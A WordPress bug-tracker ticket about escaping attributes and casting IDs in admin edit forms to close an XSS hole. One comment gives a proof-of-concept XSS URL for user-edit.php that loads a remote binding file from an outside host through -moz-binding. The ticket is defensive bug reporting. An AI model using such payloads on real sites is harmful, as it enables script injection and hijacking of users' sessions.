Opened 19 years ago
Closed 19 years ago
#4333 closed defect (bug) (fixed)
Some attribute_escape()s and relatives for edit forms
| Reported by: | mdawaffe | Owned by: | |
|---|---|---|---|
| Priority: | high | Milestone: | 2.2.1 |
| Component: | Administration | Version: | 2.2 |
| Severity: | normal | Keywords: | |
| Cc: | Focuses: |
Description
Attachments (3)
Change History (14)
#4
@
19 years ago
- Resolution → fixed
- Status new → closed
Looks like those <select>'s options aren't going to work with selected().
#5
@
19 years ago
- Milestone 2.3 → 2.2.1
- Resolution fixed
- Status closed → reopened
Also needs to go into 2.2.1 and 2.0.11
#8
@
19 years ago
Well i make some trunk based patches for 2.2.
Obviously i don't add anything that has to be related with the trunk version.
Also i think that the trunk solution is incomplete because doesn't filter the user-edit.php based version of the bug:
user-edit.php?user_id=1&wp_http_referer=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'
Note:
See TracTickets
for help on using tickets.
![(please configure the [header_logo] section in trac.ini)](/chrome/site/your_project_logo.png)
The int casts can go in get_category_to_edit() and the other to_edit() functions since we always want them to be ints. attribute_escape() needs more context, so calling it from the forms is good.